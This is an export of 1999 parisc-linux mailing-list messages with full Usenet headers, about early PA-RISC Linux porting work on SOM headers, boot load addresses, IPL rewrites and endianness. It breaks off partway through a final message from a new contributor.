>   struct header {
> 	unsigned short magic;
> 	short fill0;
> 	long fill[5];
> 	unsigned long entry_point;
>   };
> will fit the bill quite nicely.

Yes, I think this would be the best solution. When I wrote the program, I tried
to include the header-files som.h and elf.h, but then I always got
different errors from every of the arch-compilers (iA32 or hpux).  So maybe it
is best to use the structure as above and write the structure-layout directly
into the source.  
Does someone want to fill it in and commit it ?

> 
> LaMont "I hate magic offsets" Jones
Helge "master of bad pointer arithmetic" Deller :-)


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/80 problems
Date: Fri, 24 Sep 1999 11:42:13 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <99092412012906.00271@P100>
References: <37E917A0.CEBD1D71@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619773 14074 80.91.229.3 (22 Nov 2014 01:29:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: parisc-linux@thepuffingroup.com,
        Alex deVries <adevries@thepuffingroup.com>, phi@tcleur.france.hp.com
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Fri Sep 24 03:59:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA00915
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Sep 1999 03:59:54 -0600
Original-Received: (qmail 738 invoked by uid 15267); 24 Sep 1999 10:02:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 727 invoked from network); 24 Sep 1999 10:02:17 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 24 Sep 1999 10:02:17 -0000
Original-Received: (qmail 26461 invoked from network); 24 Sep 1999 10:02:07 -0000
Original-Received: from dialppp-3-210.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.3.210)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 24 Sep 1999 10:02:07 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9959

Am Wed, 22 Sep 1999 schrieb Alex deVries:
> phi@tcleur.france.hp.com wrote:
> > 
> > With the regression that occured after 14 september  1999, or so (20
> > septembre is wrong, 14 setp is good), I can't use it anymore.
> > 
> > I'm think about a newfs to regain the full HFS capacity unless one of
> > you can tell me this will be put back as it was before. For now I assume
> > the vmlinux is not supposed to boot from isl> hpux right?
> 
> It's *supposed to* work, but it doesn't.
> 
> Ah, okay.  This means that we should just be able to see what changed on
> Sept. 14 and figure out what to fix.
> 
> Is anyone interested in fixing this?

Hi Philippe,
Hi Alex.

Im not really sure, but maybe I know why it doesnt boot any longer.
Phi, could you look in the file arch/parisc/Makefile in the section
LDFLAGS=-R<yyy>  if your working version has <yyy> as 0x10000 and your
non-working version has 0xC0010000. If yes, then it shows that the
hpux-bootloader isnt able to load our kernel into the virtual space at
0xC0000000 and directly stops [segfaults?] without any message. One possible
solution could be, to patch the contents of the vmlinux-file at offsets 0x18,
(0x28??), 0x8A and 0x98 with &= 0xFFFFFFF (without C0). Please take a look in
the som.h-file, which contents have to be patched !  This way the hpux-loader
could load the kernel to the correct adress-room and the kernel
(already) automatically sets up the virtual adress-mapping.
In our own bootloader we read the contents of this header too and use the
"ADJ_LOW"-Function to get the correct adresses before loading the kernel.

Sure, maybe Im totally wrong !

Helge Deller.

> 
> - Alex


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Missing directories from CVS
Date: Fri, 24 Sep 1999 08:44:20 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <19990924144420.8E2CC18708@security.hp.com>
References: <99092410263805.00271@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619774 14076 80.91.229.3 (22 Nov 2014 01:29:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, LaMont Jones <lamont@security.hp.com>,
        Grant Grundler <grundler@cup.hp.com>, lamont@security.hp.com
To: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Original-X-From: lamont@security.hp.com  Fri Sep 24 08:42:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA02148
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Sep 1999 08:42:06 -0600
Original-Received: (qmail 4767 invoked by uid 15267); 24 Sep 1999 14:44:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4759 invoked from network); 24 Sep 1999 14:44:32 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 24 Sep 1999 14:44:32 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id HAA28056
	for <parisc-linux@thepuffingroup.com>; Fri, 24 Sep 1999 07:44:25 -0700 (PDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 8E2CC18708; Fri, 24 Sep 1999 08:44:20 -0600 (MDT)
In-reply-to: Your message of "Fri, 24 Sep 1999 10:13:13 +0200."
             <99092410263805.00271@P100> 
Content-ID: <21823.938184259.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9960

> Yes, I think this would be the best solution. When I wrote the program, I tri
> to include the header-files som.h and elf.h, but then I always got
> different errors from every of the arch-compilers (iA32 or hpux).  So maybe i
> is best to use the structure as above and write the structure-layout directly
> into the source.  
> Does someone want to fill it in and commit it ?

I'm already working with Grant on doing just that, but it'll probably be this
weekend at the earliest...

lamont


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Delisle" <jdelisle@novia.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What am I missing?!?
Date: Fri, 24 Sep 1999 22:41:37 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <001001bf0707$dfd97840$8e0228d8@johnshay>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619774 14077 80.91.229.3 (22 Nov 2014 01:29:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:34 +0000 (UTC)
To: "Parisc Linux" <parisc-linux@thepuffingroup.com>
Original-X-From: jdelisle@novia.net  Fri Sep 24 21:35:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA03417
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Sep 1999 21:35:10 -0600
Original-Received: (qmail 19890 invoked by uid 15267); 25 Sep 1999 03:37:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19880 invoked from network); 25 Sep 1999 03:37:36 -0000
Original-Received: from oasis.novia.net (216.40.24.1)
  by mailserv2.iuinc.com with SMTP; 25 Sep 1999 03:37:36 -0000
Original-Received: from johnshay (216-40-2-142.novia.net [216.40.2.142])
        by oasis.novia.net (8.9.3/Novia) with SMTP id WAA15494
        for <parisc-linux@thepuffingroup.com>; Fri, 24 Sep 1999 22:37:34 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Xref: news.gmane.org gmane.linux.ports.parisc:9961

Hi,

I've got two HP boxes.. Want to run linux on em.  I run linux on many other
boxes.  I'm trying to find an HP parisc distro or something, but am having
no luck!! Can anyone point me to a FAQ, a distro, where to get linux for
parisc, or something?? Please!?

John


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: emolitor@molitor.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What am I missing?!?
Date: Sat, 25 Sep 1999 00:18:05 -0500 (CDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9909250005080.966-100000@linux.molitor.org>
References: <001001bf0707$dfd97840$8e0228d8@johnshay>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619774 14083 80.91.229.3 (22 Nov 2014 01:29:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:34 +0000 (UTC)
Cc: Parisc Linux <parisc-linux@thepuffingroup.com>
To: John Delisle <jdelisle@novia.net>
Original-X-From: emolitor@molitor.org  Fri Sep 24 23:17:10 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA03683
	for <parisc-linux@puffin.external.hp.com>; Fri, 24 Sep 1999 23:17:09 -0600
Original-Received: (qmail 7966 invoked by uid 15267); 25 Sep 1999 05:19:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7955 invoked from network); 25 Sep 1999 05:19:31 -0000
Original-Received: from cpu209-41-104-129.unicomp.net (HELO linux.molitor.org) (root@209.41.104.129)
  by mailserv2.iuinc.com with SMTP; 25 Sep 1999 05:19:31 -0000
Original-Received: from localhost (emolitor@localhost)
	by linux.molitor.org (8.9.3/8.9.3) with ESMTP id AAA00979;
	Sat, 25 Sep 1999 00:18:05 -0500
X-Authentication-Warning: linux.molitor.org: emolitor owned process doing -bs
In-Reply-To: <001001bf0707$dfd97840$8e0228d8@johnshay>
Xref: news.gmane.org gmane.linux.ports.parisc:9962

On Fri, 24 Sep 1999, John Delisle wrote:

> Hi,
> 
> I've got two HP boxes.. 

I only have one.

> Want to run linux on em.  

Me too!

> I run linux on many other boxes.  

Me too!

>I'm trying to find an HP parisc distro or something, but am having
> no luck!! 

None exists at this time.

> Can anyone point me to a FAQ, a distro, where to get linux for
> parisc, or something?? Please!?

Ok, here it is...

<-------------------------------------------------------------->

Linux PA-Risc Linux Kernel and Distribution FAQ
Rev 0.0000001 Alpha
by Eric Molitor (eric@molitor.org)


INDEX
   1) Where can I download a PA-Risc Linux Distribution?
   2) How can I create a PA-Risc Linux Distribution?
   3) How can I find a complete and functional kernel for PA-Risc?

ANSWERS

1) Where can I download a PA-Risc Linux Distribution?

   You can't, it doesn't exist yet.


2) How can I create a PA-Risc Linux Distribution?

   Find a functioning kernel first.


3) How can I find a complete and functional kernel for PA-Risc?

   I. Grab source from CVS
   II. Start Hacking


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Delisle" <jdelisle@novia.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] waiting for distro & CDROM problem
Date: Sun, 26 Sep 1999 03:16:18 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <000b01bf07f7$69dd71a0$5b0228d8@johnshay>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619775 14087 80.91.229.3 (22 Nov 2014 01:29:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:35 +0000 (UTC)
To: "Parisc Linux" <parisc-linux@thepuffingroup.com>
Original-X-From: jdelisle@novia.net  Sun Sep 26 02:09:56 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA04669
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Sep 1999 02:09:55 -0600
Original-Received: (qmail 19714 invoked by uid 15267); 26 Sep 1999 08:12:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19706 invoked from network); 26 Sep 1999 08:12:24 -0000
Original-Received: from oasis.novia.net (216.40.24.1)
  by mailserv2.iuinc.com with SMTP; 26 Sep 1999 08:12:24 -0000
Original-Received: from johnshay (216-40-2-91.novia.net [216.40.2.91])
        by oasis.novia.net (8.9.3/Novia) with SMTP id DAA00874
        for <parisc-linux@thepuffingroup.com>; Sun, 26 Sep 1999 03:12:12 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Xref: news.gmane.org gmane.linux.ports.parisc:9963

Hi,

Thanks for all the previous responses to my last message re what am I
missing.  I've decided that I'll install HP UX 10.20 for now, and wait a
while until there is a more hashed out distro.

Anyhow, I tried to install 10.20 and ran into the same problem on both
boxes.  I can't get it to boot off of CD.  I've tried two different SCSI
cdroms, both older Toshibas.  I have autoboot and autosearch on, but it
always comes back with no boot devices available.  All I have hooked up to
the internal 50pin SCSI is the cdrom, ID 6, parity on, termination on.  Is
there some sort of trick?

Thanks
John


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cleaning up IPL and ramdisks
Date: Sun, 26 Sep 1999 14:37:38 -0400
Organization: The Puffin Group
Lines: 17
Approved: news@gmane.org
Message-ID: <37EE67F2.D4C786B5@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619775 14092 80.91.229.3 (22 Nov 2014 01:29:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Sep 26 12:17:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA05505
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Sep 1999 12:17:49 -0600
Original-Received: (qmail 29787 invoked by uid 15267); 26 Sep 1999 18:20:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29772 invoked from network); 26 Sep 1999 18:20:17 -0000
Original-Received: from unknown (HELO feather.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Sep 1999 18:20:17 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id OAA16591
	for <parisc-linux@thepuffingroup.com>; Sun, 26 Sep 1999 14:37:42 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9964


We've talked for awhile about rewriting all the bootup stuff, it's
served us well until now, but it really needs a rewrite to make it a lot
cleaner.  Is anyone interested in taking this on?  Helge?

The new version should use the same PDC calls as the rest of the kernel,
use the entire LIF structure declared in the HPUX header files. 
Philipp, did you have any other thoughts?


- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cleaning up IPL and ramdisks
Date: Sun, 26 Sep 1999 12:44:03 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <37EE6973.5D758C47@uswest.net>
References: <37EE67F2.D4C786B5@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619775 14094 80.91.229.3 (22 Nov 2014 01:29:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: rbradetich@uswest.net  Sun Sep 26 12:35:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA05760
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Sep 1999 12:35:00 -0600
Original-Received: (qmail 1891 invoked by uid 15267); 26 Sep 1999 18:37:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1878 invoked from network); 26 Sep 1999 18:37:29 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 26 Sep 1999 18:37:29 -0000
Original-Received: (qmail 28114 invoked by alias); 26 Sep 1999 18:37:25 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 28097 invoked by uid 0); 26 Sep 1999 18:37:25 -0000
Original-Received: from beavis.ybsoft.com (HELO uswest.net) (63.224.241.68)
  by boispop1.bois.uswest.net with SMTP; 26 Sep 1999 18:37:25 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9965

Alex deVries wrote:

> We've talked for awhile about rewriting all the bootup stuff, it's
> served us well until now, but it really needs a rewrite to make it a lot
> cleaner.  Is anyone interested in taking this on?  Helge?

Alex,

I am interested in helping since I've been struggling to get the kernel to
boot on the PA-RISC 2.0 architecture.

-Ryan

>
> The new version should use the same PDC calls as the rest of the kernel,
> use the entire LIF structure declared in the HPUX header files.
> Philipp, did you have any other thoughts?
>
> - Alex
>
> --
> Alex deVries
> Vice President of Engineering
> The Puffin Group
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cleaning up IPL and ramdisks
Date: Sun, 26 Sep 1999 22:48:17 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <99092622521900.00371@P100>
References: <37EE6973.5D758C47@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619776 14095 80.91.229.3 (22 Nov 2014 01:29:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, Ryan Bradetich <rbradetich@uswest.net>,
        Alex deVries <adevries@thepuffingroup.com>
Original-X-From: Helge.Deller@ruhr-uni-bochum.de  Sun Sep 26 15:26:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA06431
	for <parisc-linux@puffin.external.hp.com>; Sun, 26 Sep 1999 15:26:59 -0600
Original-Received: (qmail 13578 invoked by uid 15267); 26 Sep 1999 21:29:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13569 invoked from network); 26 Sep 1999 21:29:28 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 26 Sep 1999 21:29:28 -0000
Original-Received: (qmail 24316 invoked from network); 26 Sep 1999 21:29:15 -0000
Original-Received: from dialppp-5-156.rz.ruhr-uni-bochum.de (HELO P100) (root@134.147.5.156)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 26 Sep 1999 21:29:15 -0000
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:9966

Hi Alex,
Hi Ryan

Am Sun, 26 Sep 1999 schrieb Ryan Bradetich:
> Alex deVries wrote:
> 
> > We've talked for awhile about rewriting all the bootup stuff, it's
> > served us well until now, but it really needs a rewrite to make it a lot
> > cleaner.  Is anyone interested in taking this on?  Helge?

Im sorry, but actually Im too busy for the next two months (til begin of
december). Maybe someone other would like to take it over ?

> 
> Alex,
> 
> I am interested in helping since I've been struggling to get the kernel to
> boot on the PA-RISC 2.0 architecture.
> 
> -Ryan

Please go on...

> 
> >
> > The new version should use the same PDC calls as the rest of the kernel,
> > use the entire LIF structure declared in the HPUX header files.

Yes...

> > Philipp, did you have any other thoughts?
> >
> > - Alex
> >
> > --
> > Alex deVries
> > Vice President of Engineering
> > The Puffin Group


From - Thu Nov 08 21:16:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi@tcleur.france.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] endianism
Date: Mon, 27 Sep 1999 11:21:26 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <37EF3716.2785C0E6@tcleur.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619776 14100 80.91.229.3 (22 Nov 2014 01:29:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: phi@tcleur.france.hp.com  Mon Sep 27 07:27:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id HAA07281
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Sep 1999 07:26:59 -0600
Original-Received: (qmail 25503 invoked by uid 15267); 27 Sep 1999 13:29:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9883 invoked from network); 27 Sep 1999 09:20:11 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 27 Sep 1999 09:20:11 -0000
Original-Received: from iws1pb01.france.hp.com (iws1pb01.france.hp.com [15.124.72.10])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id FAA01632
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Sep 1999 05:19:29 -0400 (EDT)
Original-Received: from tcleur.france.hp.com (localhost [127.0.0.1]) by iws1pb01.france.hp.com with ESMTP (8.7.1/8.7.1) id LAA01687 for <parisc-linux@thepuffingroup.com>; Mon, 27 Sep 1999 11:21:27 +0200 (METDST)
Original-Sender: phi@tcleur.france.hp.com
X-Mailer: Mozilla 4.5 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9967

Hi All,

What is the endianism expected for hppa linux, as the processor can do
both?

Just curious
Phi

--
mailto:Philippe_Benard@hp.com
Technical Consulting Lab


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] endianism
Date: Mon, 27 Sep 1999 16:12:13 +0200
Lines: 6
Approved: news@gmane.org
Message-ID: <19990927161213.V5481@suse.de>
References: <37EF3716.2785C0E6@tcleur.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619776 14102 80.91.229.3 (22 Nov 2014 01:29:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: phi@tcleur.france.hp.com
Original-X-From: prumpf@suse.de  Mon Sep 27 08:09:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id IAA07533
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Sep 1999 08:09:54 -0600
Original-Received: (qmail 23046 invoked by uid 15267); 27 Sep 1999 14:12:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23037 invoked from network); 27 Sep 1999 14:12:24 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 27 Sep 1999 14:12:24 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 199D232CDB; Mon, 27 Sep 1999 16:12:17 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 7223267AC; Mon, 27 Sep 1999 16:12:16 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 291787F8B; Mon, 27 Sep 1999 16:12:13 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <37EF3716.2785C0E6@tcleur.france.hp.com>; from phi@tcleur.france.hp.com on Mon, Sep 27, 1999 at 11:21:26AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:9968

> What is the endianism expected for hppa linux, as the processor can do
> both?

Big-endian for now.  Little-endian userspace might be added later if someone
wants it, little-endian kernel sounds unlikely.


From - Thu Nov 08 21:16:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simen Thoresen <simen-tt@online.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compiling on a 735?
Date: Mon, 27 Sep 1999 21:29:20 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <199909271923.VAA29471@online.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619776 14105 80.91.229.3 (22 Nov 2014 01:29:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: simen-tt@online.no  Mon Sep 27 13:21:07 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA08202
	for <parisc-linux@puffin.external.hp.com>; Mon, 27 Sep 1999 13:21:06 -0600
Original-Received: (qmail 26225 invoked by uid 15267); 27 Sep 1999 19:23:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26214 invoked from network); 27 Sep 1999 19:23:37 -0000
Original-Received: from pilt-s.online.no (HELO online.no) (148.122.208.18)
  by mailserv2.iuinc.com with SMTP; 27 Sep 1999 19:23:37 -0000
Original-Received: from celeris (ti08a95-0277.dialup.online.no [130.67.47.21])
	by online.no (8.9.3/8.9.1) with SMTP id VAA29471
	for <parisc-linux@thepuffingroup.com>; Mon, 27 Sep 1999 21:23:29 +0200 (MET DST)
X-Sender: simen-tt@mail.online.no
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Xref: news.gmane.org gmane.linux.ports.parisc:9969

Hi!

I've recently gotten hold of a 735/99 (A2608A) workstation (128M ram and 2 
really loud disks), and would like to contribute.

I've cleaned one of the disks, and on the other I've installed the 
egcs, flex and make depots (the bash-depot seems to be non-
existent, so I've compiled and installed it from gnu.org myself.

I've downloaded a kernel snapshot (some days ago), and now have 
some questions;

